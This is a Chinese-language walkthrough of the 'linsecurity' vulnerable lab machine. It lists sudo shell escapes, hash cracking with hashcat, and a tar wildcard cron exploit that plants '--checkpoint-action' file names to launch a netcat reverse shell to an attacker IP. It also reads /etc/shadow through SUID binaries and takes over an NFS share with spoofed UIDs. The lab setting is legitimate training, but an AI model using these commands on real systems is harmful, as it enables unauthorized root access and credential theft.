靶机地址:linsecurity
靶机描述了用户名和密码
用户名:bob、密码:secret
登录后看到了IP地址,或者在kali上像之前那样进行ip收集,端口收集
开放的端口有很多,从22端口开始,知道用户名和密码,ssh远程直接连接,下面进入正题,Linux的提权大法!
Linux提权大法:
1、sudo提权大合集:
https://gtfobins.github.io/ #介绍了各种方法
sudo权限是root把本来只能超级用户执行的命令赋予给普通用户执行,利用sudo -l查看支持root权限的命令,利用这些命令可以简单直接提升到root,下面有很多,可以去上方网站查看如何使用!
sudo less /etc/profile
!/bin/sh
sudo man man
!/bin/bash
TERM= sudo more /etc/profile
!/bin/sh
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
sudo socat stdin exec:/bin/sh
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
sudo vi -c ':!/bin/sh' /dev/null
sudo zsh
sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
sudo rvim -c ':lua os.execute("reset; exec sh")'
sudo perl -e 'exec "/bin/sh";'
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
sudo PAGER='sh -c "exec sh 0<&1"' git -p help
sudo git -p help config
!/bin/sh
sudo git branch --help config
!/bin/sh
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x
sudo script -q /dev/null
Hash密码破解法
查看passwd,看是否存在密码的hash,可以利用john和hashcat进行破解
Linux的/etc/passwd主要格式:
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
"x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中
UID范围: 0为超级用户。1-499为系统用户,1~99 用于系统自行创建的账号;100~499 分配给有系统账号需求的用户。500-65535为普通用户
Linux的/etc/shadow的格式:
root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
1、root记录用户名,以:号分隔
2、$6$开头的是SHA-512加密的,$1$是MD5,$2$是Blowfish加密,$5$是SHA-256,如果是空,则没有口令,*号代表被锁定,!!表示密码过期
3、最后一次修改时间表示从某个时刻起,到用户最后一次修改口令的天数,17721天
4、最小时间间隔,指两次修改口令之间所需的最小天数,0
5、最大时间间隔,口令保持有效的最大天数,99999
6、警告时间,从系统开始警告用户到用户密码失效之间的天数,7
7、不活动时间,用户没有登录活动但账号仍然能保持有效的最大天数
8、失效天数
9、保留字段,没有啥意义
获得账号密码
insecurity/P@ssw0rd
hashcat AzER3pBZh6WZE -m 1500 /usr/share/wordlists/rockyou.txt
3、crontab定时任务
查看定时任务:cat /etc/crontab
生成一个netcat反向shell,参考(https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/)
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.104 lport=8888 R
nc -vlp 8888
echo "mkfifo /tmp/dssvupb; nc 192.168.56.104 8888 0</tmp/dssvupb | /bin/sh >/tmp/dssvupb 2>&1; rm /tmp/dssvupb" > shell.sh && chmod +x shell.sh
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
#--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
等一段时间后,反弹回shell,提权成功
4、敏感隐藏文件
在获得普通用户后,我们需要找一下有没有其他用户的隐藏信息,隐藏信息前面带.一般不适用ls -la看不到,其他用户放在/home文件夹,输入ls -laR /home或者利用find命令:
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
找到了另一个用户susan,密码:MySuperS3cretValue!
只可惜不能提权!
5、SUID提权
SUID之前的CVE里有具体介绍,这里就大致说一下,suid是uid+s的组合,s是特殊权限,一般默认下,用户权限是3位,例如0777,特殊权限默认不配置,如果超级管理员希望用户执行特殊权限文件时,拥有root权限,就会配置s的特殊权限。
使用find命令去查询具有特殊权限的执行文件:
find / -perm -4000 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
-perm匹配权限,4000是suid程序执行时,如果该程序有suid权限,会变成程序文件的属主
2000是sgid
1000是sbit
2>/dev/null是将错误输出到黑洞中
发现了一个可以利用的程序,xxd,查看所示组的用户
cat /etc/group | grep itservices
刚好有susan,看一下xxd该怎么用
顺利的读出来只有root才能读出的shadow
这边还有一个taskset(https://gtfobins.github.io/gtfobins/taskset/#suid-enabled)使用方法
taskset 1 /bin/bash -p
提权成功!
6、NFS服务
NFS服务低权限访问:nfs服务允许计算机之间通过tcp/ip网络共享资源,之前在使用nmap时,查看到存在2049端口NFS服务
下面进行访问nfs目录
输入:showmount -e 192.168.56.130
挂载peter home目录
在Kali上挂载NFS共享,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005。
密码:123
下一步,在kali上生成ssh公私钥对,创建.ssh目录,传输公钥,设置权限,最后连接
ssh远程连接上了!
总结:
该靶机还存在着其他的提权方式,可以自行去探索,具体问题具体分析吧!